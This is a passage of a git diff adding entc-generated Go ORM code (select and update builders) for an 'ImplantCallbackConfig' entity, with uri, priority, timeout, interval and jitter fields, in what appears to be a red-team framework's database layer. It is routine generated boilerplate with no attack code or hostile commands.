returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) StringX(ctx context.Context) string { + v, err := iccs.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Ints(ctx context.Context) ([]int, error) { + if len(iccs.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigSelect.Ints is not achievable when selecting more than 1 field") + } + var v []int + if err := iccs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) IntsX(ctx context.Context) []int { + v, err := iccs.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = iccs.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigSelect.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) IntX(ctx context.Context) int { + v, err := iccs.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Float64s(ctx context.Context) ([]float64, error) { + if len(iccs.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigSelect.Float64s is not achievable when selecting more than 1 field") + } + var v []float64 + if err := iccs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) Float64sX(ctx context.Context) []float64 { + v, err := iccs.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = iccs.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigSelect.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) Float64X(ctx context.Context) float64 { + v, err := iccs.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Bools(ctx context.Context) ([]bool, error) { + if len(iccs.fields) > 1 { + return nil, errors.New("ent: ImplantCallbackConfigSelect.Bools is not achievable when selecting more than 1 field") + } + var v []bool + if err := iccs.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) BoolsX(ctx context.Context) []bool { + v, err := iccs.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a selector. It is only allowed when selecting one field. +func (iccs *ImplantCallbackConfigSelect) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = iccs.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantcallbackconfig.Label} + default: + err = fmt.Errorf("ent: ImplantCallbackConfigSelect.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (iccs *ImplantCallbackConfigSelect) BoolX(ctx context.Context) bool { + v, err := iccs.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (iccs *ImplantCallbackConfigSelect) sqlScan(ctx context.Context, v interface{}) error { + rows := &sql.Rows{} + query, args := iccs.sql.Query() + if err := iccs.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} diff --git a/ent/implantcallbackconfig_update.go b/ent/implantcallbackconfig_update.go new file mode 100644 index 000000000..bb20738a8 --- /dev/null +++ b/ent/implantcallbackconfig_update.go @@ -0,0 +1,798 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantCallbackConfigUpdate is the builder for updating ImplantCallbackConfig entities. +type ImplantCallbackConfigUpdate struct { + config + hooks []Hook + mutation *ImplantCallbackConfigMutation +} + +// Where appends a list predicates to the ImplantCallbackConfigUpdate builder. +func (iccu *ImplantCallbackConfigUpdate) Where(ps ...predicate.ImplantCallbackConfig) *ImplantCallbackConfigUpdate { + iccu.mutation.Where(ps...) + return iccu +} + +// SetURI sets the "uri" field. +func (iccu *ImplantCallbackConfigUpdate) SetURI(s string) *ImplantCallbackConfigUpdate { + iccu.mutation.SetURI(s) + return iccu +} + +// SetPriority sets the "priority" field. +func (iccu *ImplantCallbackConfigUpdate) SetPriority(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.ResetPriority() + iccu.mutation.SetPriority(i) + return iccu +} + +// SetNillablePriority sets the "priority" field if the given value is not nil. +func (iccu *ImplantCallbackConfigUpdate) SetNillablePriority(i *int) *ImplantCallbackConfigUpdate { + if i != nil { + iccu.SetPriority(*i) + } + return iccu +} + +// AddPriority adds i to the "priority" field. +func (iccu *ImplantCallbackConfigUpdate) AddPriority(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.AddPriority(i) + return iccu +} + +// SetTimeout sets the "timeout" field. +func (iccu *ImplantCallbackConfigUpdate) SetTimeout(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.ResetTimeout() + iccu.mutation.SetTimeout(i) + return iccu +} + +// SetNillableTimeout sets the "timeout" field if the given value is not nil. +func (iccu *ImplantCallbackConfigUpdate) SetNillableTimeout(i *int) *ImplantCallbackConfigUpdate { + if i != nil { + iccu.SetTimeout(*i) + } + return iccu +} + +// AddTimeout adds i to the "timeout" field. +func (iccu *ImplantCallbackConfigUpdate) AddTimeout(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.AddTimeout(i) + return iccu +} + +// SetInterval sets the "interval" field. +func (iccu *ImplantCallbackConfigUpdate) SetInterval(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.ResetInterval() + iccu.mutation.SetInterval(i) + return iccu +} + +// SetNillableInterval sets the "interval" field if the given value is not nil. +func (iccu *ImplantCallbackConfigUpdate) SetNillableInterval(i *int) *ImplantCallbackConfigUpdate { + if i != nil { + iccu.SetInterval(*i) + } + return iccu +} + +// AddInterval adds i to the "interval" field. +func (iccu *ImplantCallbackConfigUpdate) AddInterval(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.AddInterval(i) + return iccu +} + +// SetJitter sets the "jitter" field. +func (iccu *ImplantCallbackConfigUpdate) SetJitter(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.ResetJitter() + iccu.mutation.SetJitter(i) + return iccu +} + +// SetNillableJitter sets the "jitter" field if the given value is not nil. +func (iccu *ImplantCallbackConfigUpdate) SetNillableJitter(i *int) *ImplantCallbackConfigUpdate { + if i != nil { + iccu.SetJitter(*i) + } + return iccu +} + +// AddJitter adds i to the "jitter" field. +func (iccu *ImplantCallbackConfigUpdate) AddJitter(i int) *ImplantCallbackConfigUpdate { + iccu.mutation.AddJitter(i) + return iccu +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iccu *ImplantCallbackConfigUpdate) AddImplantConfigIDs(ids ...int) *ImplantCallbackConfigUpdate { + iccu.mutation.AddImplantConfigIDs(ids...) + return iccu +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iccu *ImplantCallbackConfigUpdate) AddImplantConfigs(i ...*ImplantConfig) *ImplantCallbackConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iccu.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantCallbackConfigMutation object of the builder. +func (iccu *ImplantCallbackConfigUpdate) Mutation() *ImplantCallbackConfigMutation { + return iccu.mutation +} + +// ClearImplantConfigs clears all "implantConfigs" edges to the ImplantConfig entity. +func (iccu *ImplantCallbackConfigUpdate) ClearImplantConfigs() *ImplantCallbackConfigUpdate { + iccu.mutation.ClearImplantConfigs() + return iccu +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to ImplantConfig entities by IDs. +func (iccu *ImplantCallbackConfigUpdate) RemoveImplantConfigIDs(ids ...int) *ImplantCallbackConfigUpdate { + iccu.mutation.RemoveImplantConfigIDs(ids...) + return iccu +} + +// RemoveImplantConfigs removes "implantConfigs" edges to ImplantConfig entities. +func (iccu *ImplantCallbackConfigUpdate) RemoveImplantConfigs(i ...*ImplantConfig) *ImplantCallbackConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iccu.RemoveImplantConfigIDs(ids...) +} + +// Save executes the query and returns the number of nodes affected by the update operation. +func (iccu *ImplantCallbackConfigUpdate) Save(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(iccu.hooks) == 0 { + if err = iccu.check(); err != nil { + return 0, err + } + affected, err = iccu.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iccu.check(); err != nil { + return 0, err + } + iccu.mutation = mutation + affected, err = iccu.sqlSave(ctx) + mutation.done = true + return affected, err + }) + for i := len(iccu.hooks) - 1; i >= 0; i-- { + if iccu.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iccu.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iccu.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iccu *ImplantCallbackConfigUpdate) SaveX(ctx context.Context) int { + affected, err := iccu.Save(ctx) + if err != nil { + panic(err) + } + return affected +} + +// Exec executes the query. +func (iccu *ImplantCallbackConfigUpdate) Exec(ctx context.Context) error { + _, err := iccu.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccu *ImplantCallbackConfigUpdate) ExecX(ctx context.Context) { + if err := iccu.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iccu *ImplantCallbackConfigUpdate) check() error { + if v, ok := iccu.mutation.URI(); ok { + if err := implantcallbackconfig.URIValidator(v); err != nil { + return &ValidationError{Name: "uri", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.uri": %w`, err)} + } + } + if v, ok := iccu.mutation.Priority(); ok { + if err := implantcallbackconfig.PriorityValidator(v); err != nil { + return &ValidationError{Name: "priority", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.priority": %w`, err)} + } + } + if v, ok := iccu.mutation.Timeout(); ok { + if err := implantcallbackconfig.TimeoutValidator(v); err != nil { + return &ValidationError{Name: "timeout", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.timeout": %w`, err)} + } + } + if v, ok := iccu.mutation.Interval(); ok { + if err := implantcallbackconfig.IntervalValidator(v); err != nil { + return &ValidationError{Name: "interval", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.interval": %w`, err)} + } + } + if v, ok := iccu.mutation.Jitter(); ok { + if err := implantcallbackconfig.JitterValidator(v); err != nil { + return &ValidationError{Name: "jitter", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.jitter": %w`, err)} + } + } + return nil +} + +func (iccu *ImplantCallbackConfigUpdate) sqlSave(ctx context.Context) (n int, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantcallbackconfig.Table, + Columns: implantcallbackconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + if ps := iccu.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iccu.mutation.URI(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantcallbackconfig.FieldURI, + }) + } + if value, ok := iccu.mutation.Priority(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldPriority, + }) + } + if value, ok := iccu.mutation.AddedPriority(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldPriority, + }) + } + if value, ok := iccu.mutation.Timeout(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldTimeout, + }) + } + if value, ok := iccu.mutation.AddedTimeout(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldTimeout, + }) + } + if value, ok := iccu.mutation.Interval(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldInterval, + }) + } + if value, ok := iccu.mutation.AddedInterval(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldInterval, + }) + } + if value, ok := iccu.mutation.Jitter(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldJitter, + }) + } + if value, ok := iccu.mutation.AddedJitter(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldJitter, + }) + } + if iccu.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iccu.mutation.RemovedImplantConfigsIDs(); len(nodes) > 0 && !iccu.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iccu.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if n, err = sqlgraph.UpdateNodes(ctx, iccu.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantcallbackconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return 0, err + } + return n, nil +} + +// ImplantCallbackConfigUpdateOne is the builder for updating a single ImplantCallbackConfig entity. +type ImplantCallbackConfigUpdateOne struct { + config + fields []string + hooks []Hook + mutation *ImplantCallbackConfigMutation +} + +// SetURI sets the "uri" field. +func (iccuo *ImplantCallbackConfigUpdateOne) SetURI(s string) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.SetURI(s) + return iccuo +} + +// SetPriority sets the "priority" field. +func (iccuo *ImplantCallbackConfigUpdateOne) SetPriority(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.ResetPriority() + iccuo.mutation.SetPriority(i) + return iccuo +} + +// SetNillablePriority sets the "priority" field if the given value is not nil. +func (iccuo *ImplantCallbackConfigUpdateOne) SetNillablePriority(i *int) *ImplantCallbackConfigUpdateOne { + if i != nil { + iccuo.SetPriority(*i) + } + return iccuo +} + +// AddPriority adds i to the "priority" field. +func (iccuo *ImplantCallbackConfigUpdateOne) AddPriority(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.AddPriority(i) + return iccuo +} + +// SetTimeout sets the "timeout" field. +func (iccuo *ImplantCallbackConfigUpdateOne) SetTimeout(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.ResetTimeout() + iccuo.mutation.SetTimeout(i) + return iccuo +} + +// SetNillableTimeout sets the "timeout" field if the given value is not nil. +func (iccuo *ImplantCallbackConfigUpdateOne) SetNillableTimeout(i *int) *ImplantCallbackConfigUpdateOne { + if i != nil { + iccuo.SetTimeout(*i) + } + return iccuo +} + +// AddTimeout adds i to the "timeout" field. +func (iccuo *ImplantCallbackConfigUpdateOne) AddTimeout(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.AddTimeout(i) + return iccuo +} + +// SetInterval sets the "interval" field. +func (iccuo *ImplantCallbackConfigUpdateOne) SetInterval(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.ResetInterval() + iccuo.mutation.SetInterval(i) + return iccuo +} + +// SetNillableInterval sets the "interval" field if the given value is not nil. +func (iccuo *ImplantCallbackConfigUpdateOne) SetNillableInterval(i *int) *ImplantCallbackConfigUpdateOne { + if i != nil { + iccuo.SetInterval(*i) + } + return iccuo +} + +// AddInterval adds i to the "interval" field. +func (iccuo *ImplantCallbackConfigUpdateOne) AddInterval(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.AddInterval(i) + return iccuo +} + +// SetJitter sets the "jitter" field. +func (iccuo *ImplantCallbackConfigUpdateOne) SetJitter(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.ResetJitter() + iccuo.mutation.SetJitter(i) + return iccuo +} + +// SetNillableJitter sets the "jitter" field if the given value is not nil. +func (iccuo *ImplantCallbackConfigUpdateOne) SetNillableJitter(i *int) *ImplantCallbackConfigUpdateOne { + if i != nil { + iccuo.SetJitter(*i) + } + return iccuo +} + +// AddJitter adds i to the "jitter" field. +func (iccuo *ImplantCallbackConfigUpdateOne) AddJitter(i int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.AddJitter(i) + return iccuo +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iccuo *ImplantCallbackConfigUpdateOne) AddImplantConfigIDs(ids ...int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.AddImplantConfigIDs(ids...) + return iccuo +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iccuo *ImplantCallbackConfigUpdateOne) AddImplantConfigs(i ...*ImplantConfig) *ImplantCallbackConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iccuo.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantCallbackConfigMutation object of the builder. +func (iccuo *ImplantCallbackConfigUpdateOne) Mutation() *ImplantCallbackConfigMutation { + return iccuo.mutation +} + +// ClearImplantConfigs clears all "implantConfigs" edges to the ImplantConfig entity. +func (iccuo *ImplantCallbackConfigUpdateOne) ClearImplantConfigs() *ImplantCallbackConfigUpdateOne { + iccuo.mutation.ClearImplantConfigs() + return iccuo +} + +// RemoveImplantConfigIDs removes the "implantConfigs" edge to ImplantConfig entities by IDs. +func (iccuo *ImplantCallbackConfigUpdateOne) RemoveImplantConfigIDs(ids ...int) *ImplantCallbackConfigUpdateOne { + iccuo.mutation.RemoveImplantConfigIDs(ids...) + return iccuo +} + +// RemoveImplantConfigs removes "implantConfigs" edges to ImplantConfig entities. +func (iccuo *ImplantCallbackConfigUpdateOne) RemoveImplantConfigs(i ...*ImplantConfig) *ImplantCallbackConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iccuo.RemoveImplantConfigIDs(ids...) +} + +// Select allows selecting one or more fields (columns) of the returned entity. +// The default is selecting all fields defined in the entity schema. +func (iccuo *ImplantCallbackConfigUpdateOne) Select(field string, fields ...string) *ImplantCallbackConfigUpdateOne { + iccuo.fields = append([]string{field}, fields...) + return iccuo +} + +// Save executes the query and returns the updated ImplantCallbackConfig entity. +func (iccuo *ImplantCallbackConfigUpdateOne) Save(ctx context.Context) (*ImplantCallbackConfig, error) { + var ( + err error + node *ImplantCallbackConfig + ) + if len(iccuo.hooks) == 0 { + if err = iccuo.check(); err != nil { + return nil, err + } + node, err = iccuo.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iccuo.check(); err != nil { + return nil, err + } + iccuo.mutation = mutation + node, err = iccuo.sqlSave(ctx) + mutation.done = true + return node, err + }) + for i := len(iccuo.hooks) - 1; i >= 0; i-- { + if iccuo.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iccuo.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iccuo.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iccuo *ImplantCallbackConfigUpdateOne) SaveX(ctx context.Context) *ImplantCallbackConfig { + node, err := iccuo.Save(ctx) + if err != nil { + panic(err) + } + return node +} + +// Exec executes the query on the entity. +func (iccuo *ImplantCallbackConfigUpdateOne) Exec(ctx context.Context) error { + _, err := iccuo.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccuo *ImplantCallbackConfigUpdateOne) ExecX(ctx context.Context) { + if err := iccuo.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iccuo *ImplantCallbackConfigUpdateOne) check() error { + if v, ok := iccuo.mutation.URI(); ok { + if err := implantcallbackconfig.URIValidator(v); err != nil { + return &ValidationError{Name: "uri", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.uri": %w`, err)} + } + } + if v, ok := iccuo.mutation.Priority(); ok { + if err := implantcallbackconfig.PriorityValidator(v); err != nil { + return &ValidationError{Name: "priority", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.priority": %w`, err)} + } + } + if v, ok := iccuo.mutation.Timeout(); ok { + if err := implantcallbackconfig.TimeoutValidator(v); err != nil { + return &ValidationError{Name: "timeout", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.timeout": %w`, err)} + } + } + if v, ok := iccuo.mutation.Interval(); ok { + if err := implantcallbackconfig.IntervalValidator(v); err != nil { + return &ValidationError{Name: "interval", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.interval": %w`, err)} + } + } + if v, ok := iccuo.mutation.Jitter(); ok { + if err := implantcallbackconfig.JitterValidator(v); err != nil { + return &ValidationError{Name: "jitter", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.jitter": %w`, err)} + } + } + return nil +} + +func (iccuo *ImplantCallbackConfigUpdateOne) sqlSave(ctx context.Context) (_node *ImplantCallbackConfig, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantcallbackconfig.Table, + Columns: implantcallbackconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + id, ok := iccuo.mutation.ID() + if !ok { + return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "ImplantCallbackConfig.id" for update`)} + } + _spec.Node.ID.Value = id + if fields := iccuo.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantcallbackconfig.FieldID) + for _, f := range fields { + if !implantcallbackconfig.ValidColumn(f) { + return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + if f != implantcallbackconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, f) + } + } + } + if ps := iccuo.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iccuo.mutation.URI(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantcallbackconfig.FieldURI, + }) + } + if value, ok := iccuo.mutation.Priority(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldPriority, + }) + } + if value, ok := iccuo.mutation.AddedPriority(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldPriority, + }) + } + if value, ok := iccuo.mutation.Timeout(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldTimeout, + }) + } + if value, ok := iccuo.mutation.AddedTimeout(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldTimeout, + }) + } + if value, ok := iccuo.mutation.Interval(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldInterval, + }) + } + if value, ok := iccuo.mutation.AddedInterval(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldInterval, + }) + } + if value, ok := iccuo.mutation.Jitter(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldJitter, + }) + } + if value, ok := iccuo.mutation.AddedJitter(); ok { + _spec.Fields.Add = append(_spec.Fields.Add, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldJitter, + }) + } + if iccuo.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iccuo.mutation.RemovedImplantConfigsIDs(); len(nodes) > 0 && !iccuo.mutation.ImplantConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iccuo.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantcallbackconfig.ImplantConfigsTable, + Columns: implantcallbackconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + _node = &ImplantCallbackConfig{config: iccuo.config} + _spec.Assign = _node.assignValues + _spec.ScanValues = _node.scanValues + if err = sqlgraph.UpdateNode(ctx, iccuo.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantcallbackconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + return _node, nil +} diff --git a/ent/implantconfig.go b/ent/implantconfig.go new file mode 100644 index 000000000..490bfe592 --- /dev/null +++ b/ent/implantconfig.go @@ -0,0 +1,169 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + 